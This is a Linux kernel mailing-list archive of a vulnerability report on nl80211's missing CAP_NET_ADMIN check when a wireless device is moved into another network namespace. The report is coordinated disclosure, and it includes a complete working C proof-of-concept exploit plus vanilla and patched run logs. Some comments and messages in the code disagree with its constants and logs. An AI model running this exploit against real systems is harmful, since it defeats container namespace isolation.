public inbox for linux-kernel@vger.kernel.org
 help / color / mirror / Atom feed
* nl80211: SET_WIPHY_NETNS does not check caller's CAP_NET_ADMIN  over the target netns
@ 2026-05-03  6:55 Xie Maoyi
  2026-05-04  8:28 ` Johannes Berg
  0 siblings, 1 reply; 3+ messages in thread
From: Xie Maoyi @ 2026-05-03  6:55 UTC (permalink / raw)
  To: johannes@sipsolutions.net
  Cc: linux-wireless@vger.kernel.org, linux-kernel@vger.kernel.org

[-- Attachment #1: Type: text/plain, Size: 5236 bytes --]

Hi Johannes,

I think I have found two related namespace handling gaps in nl80211 on v7.0 mainline. I would appreciate your view on whether they are bugs and whether they are worth fixing. The second one is much narrower than the first.

Bug A: NL80211_CMD_SET_WIPHY_NETNS does not check the target netns.

nl80211_wiphy_netns() is around line 13538 in net/wireless/nl80211.c. It resolves the target netns from NL80211_ATTR_PID or NL80211_ATTR_NETNS_FD. It then calls cfg80211_switch_netns() right away. The genl op flag GENL_UNS_ADMIN_PERM only checks CAP_NET_ADMIN over the caller's own user namespace. There is no check against the target netns.

By comparison, net/core/rtnetlink.c::rtnl_get_net_ns_capable() spells out the convention:

    /* For now, the caller is required to have CAP_NET_ADMIN in
     * the user namespace owning the target net ns. */
    if (!sk_ns_capable(sk, net->user_ns, CAP_NET_ADMIN))
        return ERR_PTR(-EACCES);

So a caller that has CAP_NET_ADMIN only in their own user namespace can push a wiphy into any netns whose fd or pid they can resolve. This includes init_net. The wiphy must have WIPHY_FLAG_NETNS_OK set. That flag is set by mac80211_hwsim. It is also set on any wiphy that an administrator has delegated into a container.

Reproducer (poc_nl80211_setns.c, attached). Tested on a KASAN VM with mac80211_hwsim radios=1 in init_net.

  1. Real root in init_net spawns hwsim phyN.
  2. fork(). Child runs unshare(CLONE_NEWUSER | CLONE_NEWNET) and writes a 0-mapped uid_map to become "root" in its own user_ns.
  3. Real root migrates phyN into the child's netns. This is the legitimate admin step. Container Wi-Fi delegation does the same thing.
  4. Child issues NL80211_CMD_SET_WIPHY_NETNS with NL80211_ATTR_NETNS_FD pointing at init_net's netns fd.
  5. The kernel honours the request. phyN moves back to init_net. The caller has no CAP_NET_ADMIN in init_net.

Vanilla output (poc_vanilla.log, attached):

    [child] uid=0 netns=net:[4026532261]
    [child] BUG: SET_WIPHY_NETNS to init_net SUCCEEDED from attacker userns/netns without CAP_NET_ADMIN over init_net
    [init_net after child finished] /sys/class/ieee80211 = phyN

The final line shows phyN back in init_net.

Bug B: nl80211_prepare_wdev_dump() continuation does not re-check netns.

The first dumpit invocation validates the wdev against the caller via __cfg80211_wdev_from_attrs(..., sock_net(cb->skb->sk), ...). Subsequent invocations look up the wiphy by global index via wiphy_idx_to_wiphy(). They do not re-check sock_net(cb->skb->sk) against the wiphy's current netns.

Other dump paths in the same file do this check on every iteration. See nl80211_dump_wiphy() at line 3437 and the parallel scheduled scan dump at line 4420.

If a wiphy moves between dumpit invocations of NL80211_CMD_GET_SCAN via NL80211_CMD_SET_WIPHY_NETNS, the dump silently keeps copying BSS list contents from the wiphy's new netns into the caller's netns. On its own this race needs a separate caller to migrate the wiphy mid-dump. With bug A, the attacker can arrange the race themselves.

What I tested on

  * Linux v7.0 vanilla mainline tag, x86_64.
  * KASAN+lockdep enabled, bookworm rootfs, qemu-kvm.
  * mac80211_hwsim built as a module.
  * Reproducer compiled with plain gcc, raw genetlink, no liburing
    or libnl dependency.

Note on the post-fix log

The post-fix log ends with an empty /sys/class/ieee80211 listing. This is not a patch side effect. The patched kernel correctly rejects the child's SET_WIPHY_NETNS with -EPERM, so phyN stays in the child's netns. When the child exits, that netns is destroyed.
mac80211_hwsim's pernet_exit handler then cleans up the wiphy. So init_net sees nothing, which is the expected cleanup path. The relevant signal in the post-fix log is the EPERM line:

    [child] SET_WIPHY_NETNS to init_net rc=-1 (Operation not permitted) (correctly rejected)

I have a small two-patch series against v7.0 that closes both gaps. Patch 1/2 mirrors rtnl_get_net_ns_capable() in nl80211_wiphy_netns(). Patch 2/2 adds the missing net_eq() check in nl80211_prepare_wdev_dump()'s continuation branch. I have re-run the same reproducer against the patched kernel. The attacker's SET_WIPHY_NETNS now returns -EPERM. The legitimate admin path is unaffected.

I would prefer to send the patches as a separate thread once you have had a chance to look at the report and tell me whether and how you would like them fixed.

Attachments:
  poc_nl80211_setns.c -- C reproducer, raw genetlink
  poc_vanilla.log     -- reproducer output on vanilla v7.0
  poc_post_patch.log  -- reproducer output on the patched v7.0 (attacker now gets -EPERM)

Thanks for taking a look. Apologies in advance if this is already known or out of scope.

Best regards,
Maoyi
Nanyang Technological University
https://maoyixie.com/
________________________________

CONFIDENTIALITY: This email is intended solely for the person(s) named and may be confidential and/or privileged. If you are not the intended recipient, please delete it, notify us and do not copy, use, or disclose its contents.
Towards a sustainable earth: Print only when necessary. Thank you.

[-- Attachment #2: poc_post_patch.log --]
[-- Type: application/octet-stream, Size: 647 bytes --]

[parent] using phy1 wiphy_idx=1
=== Initial state (init_net) ===
[init_net] /sys/class/ieee80211 = phy1
[child] uid=0 netns=net:[4026532261] (waiting for wiphy)
[parent] child ready, moving phy0 -> child netns
[parent] phy0 moved into child netns
[init_net after move-out] /sys/class/ieee80211 = [child] parent moved phy0 into my netns
[child after move-in] /sys/class/ieee80211 = [child] nl80211 family_id=28
[child] SET_WIPHY_NETNS to init_net rc=-1 (Operation not permitted) (correctly rejected)
[child after attempted move-out] /sys/class/ieee80211 = [parent] child exited, final state:
[init_net after child finished] /sys/class/ieee80211 = 

[-- Attachment #3: poc_vanilla.log --]
[-- Type: application/octet-stream, Size: 689 bytes --]

[parent] using phy3 wiphy_idx=3
=== Initial state (init_net) ===
[init_net] /sys/class/ieee80211 = phy3
[child] uid=0 netns=net:[4026532261] (waiting for wiphy)
[parent] child ready, moving phy0 -> child netns
[parent] phy0 moved into child netns
[init_net after move-out] /sys/class/ieee80211 = [child] parent moved phy0 into my netns
[child after move-in] /sys/class/ieee80211 = [child] nl80211 family_id=28
[child] *** BUG: SET_WIPHY_NETNS to init_net SUCCEEDED from attacker userns/netns without CAP_NET_ADMIN over init_net ***
[child after attempted move-out] /sys/class/ieee80211 = phy3
[parent] child exited, final state:
[init_net after child finished] /sys/class/ieee80211 = phy3

[-- Attachment #4: poc_nl80211_setns.c --]
[-- Type: text/plain, Size: 13173 bytes --]

/*
 * PoC for nl80211 missing target-netns CAP_NET_ADMIN check in
 * NL80211_CMD_SET_WIPHY_NETNS, plus the related dump-scan continuation
 * netns recheck gap in nl80211_prepare_wdev_dump.
 *
 * Bug A (target-cap missing): NL80211_CMD_SET_WIPHY_NETNS only checks
 *   CAP_NET_ADMIN over the netlink socket's netns. It does NOT check
 *   that the caller has CAP_NET_ADMIN over the *target* netns. Compare
 *   net/core/rtnetlink.c::rtnl_get_net_ns_capable() which mandates this
 *   check.
 *
 * Setup: we need a wiphy in the attacker's netns to start. Real-world
 * scenarios where this happens: admin grants Wi-Fi to a container;
 * mac80211_hwsim spawned in attacker's netns; SR-IOV WiFi VFs assigned.
 * For this PoC we use mac80211_hwsim and have init_net root migrate the
 * wiphy into the attacker's netns first, then verify the attacker (with
 * only fake-root via userns) can move it out without CAP_NET_ADMIN over
 * the destination netns.
 *
 * Build: gcc poc_nl80211_setns.c -o poc_nl80211_setns
 * Run as root on a kernel with mac80211_hwsim loaded.
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>

#define NL80211_FAMILY "nl80211"

/* From <linux/nl80211.h> */
#define NL80211_CMD_GET_WIPHY        1
#define NL80211_CMD_SET_WIPHY_NETNS  49   /* 0x31, verified from UAPI */
#define NL80211_ATTR_WIPHY           1
#define NL80211_ATTR_PID             82
#define NL80211_ATTR_NETNS_FD        219

struct nl_state {
    int sk;
    uint16_t family_id;
    uint32_t pid;
};

static int nl_open(struct nl_state *st)
{
    st->sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
    if (st->sk < 0) { perror("socket(NETLINK_GENERIC)"); return -1; }
    struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
    if (bind(st->sk, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        perror("bind"); return -1;
    }
    socklen_t slen = sizeof(sa);
    if (getsockname(st->sk, (struct sockaddr *)&sa, &slen) < 0) {
        perror("getsockname"); return -1;
    }
    st->pid = sa.nl_pid;
    return 0;
}

/* Resolve the nl80211 family ID + the SET_WIPHY_NETNS cmd ID via
 * CTRL_CMD_GETFAMILY. */
static int nl_resolve_family(struct nl_state *st, int *cmd_set_netns,
                             int *cmd_get_wiphy)
{
    char buf[4096] = {0};
    struct nlmsghdr *nh = (struct nlmsghdr *)buf;
    nh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
    nh->nlmsg_type = GENL_ID_CTRL;
    nh->nlmsg_flags = NLM_F_REQUEST;
    nh->nlmsg_seq = 1;
    nh->nlmsg_pid = st->pid;
    struct genlmsghdr *gh = NLMSG_DATA(nh);
    gh->cmd = CTRL_CMD_GETFAMILY;
    gh->version = 1;
    /* Add CTRL_ATTR_FAMILY_NAME = "nl80211" */
    struct nlattr *na = (struct nlattr *)((char *)gh + GENL_HDRLEN);
    na->nla_type = CTRL_ATTR_FAMILY_NAME;
    int slen = strlen(NL80211_FAMILY) + 1;
    na->nla_len = NLA_HDRLEN + slen;
    memcpy((char *)na + NLA_HDRLEN, NL80211_FAMILY, slen);
    nh->nlmsg_len += NLA_ALIGN(na->nla_len);

    if (send(st->sk, nh, nh->nlmsg_len, 0) < 0) {
        perror("send(GETFAMILY)"); return -1;
    }

    char rbuf[8192];
    int n = recv(st->sk, rbuf, sizeof(rbuf), 0);
    if (n < 0) { perror("recv"); return -1; }

    nh = (struct nlmsghdr *)rbuf;
    if (nh->nlmsg_type == NLMSG_ERROR) {
        struct nlmsgerr *e = NLMSG_DATA(nh);
        fprintf(stderr, "GETFAMILY error %d (%s)\n", -e->error, strerror(-e->error));
        return -1;
    }

    /* Walk attrs. We need CTRL_ATTR_FAMILY_ID and the OPS list. */
    gh = NLMSG_DATA(nh);
    char *p = (char *)gh + GENL_HDRLEN;
    char *end = (char *)nh + nh->nlmsg_len;
    *cmd_set_netns = -1;
    *cmd_get_wiphy = -1;
    while (p + NLA_HDRLEN <= end) {
        struct nlattr *a = (struct nlattr *)p;
        if (a->nla_len < NLA_HDRLEN) break;
        char *adata = p + NLA_HDRLEN;
        switch (a->nla_type & NLA_TYPE_MASK) {
        case CTRL_ATTR_FAMILY_ID:
            st->family_id = *(uint16_t *)adata;
            break;
        case CTRL_ATTR_OPS: {
            char *oend = p + a->nla_len;
            char *op = adata;
            while (op + NLA_HDRLEN <= oend) {
                struct nlattr *opa = (struct nlattr *)op;
                if (opa->nla_len < NLA_HDRLEN) break;
                /* opa is each op as nested. */
                char *opd = op + NLA_HDRLEN;
                char *opdend = op + opa->nla_len;
                int op_id = -1;
                while (opd + NLA_HDRLEN <= opdend) {
                    struct nlattr *fa = (struct nlattr *)opd;
                    if (fa->nla_len < NLA_HDRLEN) break;
                    if ((fa->nla_type & NLA_TYPE_MASK) == CTRL_ATTR_OP_ID) {
                        op_id = *(uint32_t *)(opd + NLA_HDRLEN);
                    }
                    opd += NLA_ALIGN(fa->nla_len);
                }
                /* We don't get cmd names back, but we know the enum
                 * positions: GET_WIPHY=1, SET_WIPHY_NETNS=33 in v7.0. */
                op = op + NLA_ALIGN(opa->nla_len);
                (void)op_id;
            }
            break;
        }
        }
        p += NLA_ALIGN(a->nla_len);
    }
    /* Use the canonical enum values. NL80211_CMD_SET_WIPHY_NETNS = 49 */
    *cmd_set_netns = NL80211_CMD_SET_WIPHY_NETNS;
    *cmd_get_wiphy = NL80211_CMD_GET_WIPHY;
    return 0;
}

/* Send NL80211_CMD_SET_WIPHY_NETNS for wiphy_idx, target=netns_fd.
 * Returns 0 on success, -errno otherwise. */
static int send_set_wiphy_netns(struct nl_state *st, int wiphy_idx,
                                int netns_fd, int cmd_id)
{
    char buf[1024] = {0};
    struct nlmsghdr *nh = (struct nlmsghdr *)buf;
    nh->nlmsg_type = st->family_id;
    nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    nh->nlmsg_seq = 42;
    nh->nlmsg_pid = st->pid;
    nh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
    struct genlmsghdr *gh = NLMSG_DATA(nh);
    gh->cmd = cmd_id;
    gh->version = 1;

    /* NL80211_ATTR_WIPHY (u32) */
    struct nlattr *a = (struct nlattr *)((char *)nh + nh->nlmsg_len);
    a->nla_type = NL80211_ATTR_WIPHY;
    a->nla_len = NLA_HDRLEN + sizeof(uint32_t);
    *(uint32_t *)((char *)a + NLA_HDRLEN) = wiphy_idx;
    nh->nlmsg_len += NLA_ALIGN(a->nla_len);

    /* NL80211_ATTR_NETNS_FD (u32) */
    a = (struct nlattr *)((char *)nh + nh->nlmsg_len);
    a->nla_type = NL80211_ATTR_NETNS_FD;
    a->nla_len = NLA_HDRLEN + sizeof(uint32_t);
    *(uint32_t *)((char *)a + NLA_HDRLEN) = netns_fd;
    nh->nlmsg_len += NLA_ALIGN(a->nla_len);

    if (send(st->sk, nh, nh->nlmsg_len, 0) < 0) {
        perror("send(SET_WIPHY_NETNS)"); return -errno;
    }
    char rbuf[1024];
    int n = recv(st->sk, rbuf, sizeof(rbuf), 0);
    if (n < 0) { perror("recv"); return -errno; }
    nh = (struct nlmsghdr *)rbuf;
    if (nh->nlmsg_type == NLMSG_ERROR) {
        struct nlmsgerr *e = NLMSG_DATA(nh);
        return e->error;  /* 0 on success, negative errno on failure */
    }
    return 0;
}

static void show_phy(const char *who) {
    fprintf(stderr, "[%s] /sys/class/ieee80211 = ", who);
    char buf[256];
    snprintf(buf, sizeof(buf), "ls /sys/class/ieee80211 2>&1");
    FILE *f = popen(buf, "r");
    if (f) {
        char line[64];
        while (fgets(line, sizeof(line), f)) fprintf(stderr, "%s", line);
        fclose(f);
    }
}

int main(int argc, char **argv)
{
    /* Discover the wiphy_idx of the first hwsim phy in init_net by
     * reading /sys/class/ieee80211/<name>/index. */
    int wiphy_idx = -1;
    {
        FILE *f = popen("ls /sys/class/ieee80211 2>/dev/null | head -n1", "r");
        char name[64];
        if (f && fgets(name, sizeof(name), f)) {
            name[strcspn(name, "\n")] = 0;
            char path[128];
            snprintf(path, sizeof(path), "/sys/class/ieee80211/%s/index", name);
            FILE *g = fopen(path, "r");
            if (g) { fscanf(g, "%d", &wiphy_idx); fclose(g); }
            fprintf(stderr, "[parent] using %s wiphy_idx=%d\n", name, wiphy_idx);
        }
        if (f) pclose(f);
    }
    if (wiphy_idx < 0) {
        fprintf(stderr, "no wiphy in /sys/class/ieee80211, ensure hwsim loaded\n");
        return 2;
    }

    fprintf(stderr, "=== Initial state (init_net) ===\n");
    show_phy("init_net");

    /* Step 1: open init_net netns fd to use as target later. */
    int init_netns_fd = open("/proc/self/ns/net", O_RDONLY);
    if (init_netns_fd < 0) { perror("open /proc/self/ns/net"); return 2; }

    /* Step 2: fork a child that:
     *    a) unshare(CLONE_NEWUSER | CLONE_NEWNET) -> assert "fake root"
     *       in attacker user_ns + fresh netns.
     *    b) parent (still in init_net) moves phy0 into child's netns
     *       via legitimate SET_WIPHY_NETNS (we have real CAP_NET_ADMIN
     *       in init_net for that step, mirroring an admin grant).
     *    c) child waits for parent to signal "done", then issues
     *       NL80211_CMD_SET_WIPHY_NETNS targeting init_net (where the
     *       child has NO CAP_NET_ADMIN).
     *    d) if the kernel honours that command, the wiphy moves back
     *       into init_net even though the attacker has no privilege
     *       over init_net -- bug confirmed.
     */
    int p2c[2], c2p[2];
    pipe(p2c); pipe(c2p);

    pid_t cpid = fork();
    if (cpid < 0) { perror("fork"); return 2; }
    if (cpid == 0) {
        close(p2c[1]); close(c2p[0]);
        if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
            perror("[child] unshare"); _exit(2);
        }
        /* fake root via uid_map 0 0 1 */
        char b[64]; int fd, n;
        if ((fd = open("/proc/self/setgroups", O_WRONLY)) >= 0) { write(fd,"deny",4); close(fd); }
        fd = open("/proc/self/uid_map", O_WRONLY);
        n = snprintf(b,sizeof(b),"0 0 1\n"); write(fd,b,n); close(fd);
        fd = open("/proc/self/gid_map", O_WRONLY);
        n = snprintf(b,sizeof(b),"0 0 1\n"); write(fd,b,n); close(fd);

        char nsa[64]; int rl = readlink("/proc/self/ns/net", nsa, 63);
        if (rl > 0) nsa[rl] = 0;
        fprintf(stderr, "[child] uid=%u netns=%s (waiting for wiphy)\n",
                getuid(), nsa);

        /* Tell parent to move phy0 to my netns. */
        write(c2p[1], "READY", 5);

        /* Wait until parent signals it's done. */
        char tmp[8];
        read(p2c[0], tmp, sizeof(tmp));
        fprintf(stderr, "[child] parent moved phy0 into my netns\n");
        show_phy("child after move-in");

        /* Now attempt the bug: SET_WIPHY_NETNS to send wiphy to init_net,
         * where attacker has no CAP_NET_ADMIN. */
        struct nl_state st = {0};
        if (nl_open(&st) < 0) _exit(2);
        int cmd_set, cmd_get;
        if (nl_resolve_family(&st, &cmd_set, &cmd_get) < 0) {
            fprintf(stderr, "[child] nl80211 family resolve failed\n");
            _exit(2);
        }
        fprintf(stderr, "[child] nl80211 family_id=%u\n", st.family_id);

        /* phy0 is wiphy_idx=0 (first hwsim radio) */
        int rc = send_set_wiphy_netns(&st, wiphy_idx, init_netns_fd, cmd_set);
        if (rc == 0) {
            fprintf(stderr,
              "[child] *** BUG: SET_WIPHY_NETNS to init_net SUCCEEDED "
              "from attacker userns/netns without CAP_NET_ADMIN over init_net ***\n");
        } else {
            fprintf(stderr,
              "[child] SET_WIPHY_NETNS to init_net rc=%d (%s) %s\n",
              rc, strerror(-rc),
              rc == -EACCES || rc == -EPERM ? "(correctly rejected)" :
              "(some other error)");
        }
        show_phy("child after attempted move-out");
        write(c2p[1], "DONE", 4);
        close(st.sk);
        _exit(0);
    }
    close(p2c[0]); close(c2p[1]);

    /* Parent (init_net) waits for child READY, then moves phy0 to child. */
    char tmp[8];
    read(c2p[0], tmp, sizeof(tmp));
    fprintf(stderr, "[parent] child ready, moving phy0 -> child netns\n");

    /* We need child's netns_fd. */
    char path[64];
    snprintf(path, sizeof(path), "/proc/%d/ns/net", cpid);
    int child_netns_fd = open(path, O_RDONLY);
    if (child_netns_fd < 0) { perror("[parent] open child netns"); kill(cpid,SIGKILL); return 2; }

    struct nl_state pst = {0};
    if (nl_open(&pst) < 0) return 2;
    int cmd_set, cmd_get;
    if (nl_resolve_family(&pst, &cmd_set, &cmd_get) < 0) {
        fprintf(stderr, "[parent] family resolve failed\n");
        return 2;
    }
    int rc = send_set_wiphy_netns(&pst, wiphy_idx, child_netns_fd, cmd_set);
    if (rc != 0) {
        fprintf(stderr, "[parent] move-in failed rc=%d (%s)\n", rc, strerror(-rc));
        kill(cpid, SIGKILL); return 2;
    }
    fprintf(stderr, "[parent] phy0 moved into child netns\n");
    show_phy("init_net after move-out");
    close(pst.sk);

    write(p2c[1], "GO", 2);
    read(c2p[0], tmp, sizeof(tmp));

    int status; waitpid(cpid, &status, 0);
    fprintf(stderr, "[parent] child exited, final state:\n");
    show_phy("init_net after child finished");
    close(init_netns_fd); close(child_netns_fd);
    return 0;
}

^ permalink raw reply	[flat|nested] 3+ messages in thread

end of thread, other threads:[~2026-05-04 12:38 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-05-03  6:55 nl80211: SET_WIPHY_NETNS does not check caller's CAP_NET_ADMIN over the target netns Xie Maoyi
2026-05-04  8:28 ` Johannes Berg
2026-05-04 12:38   ` Xie Maoyi

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox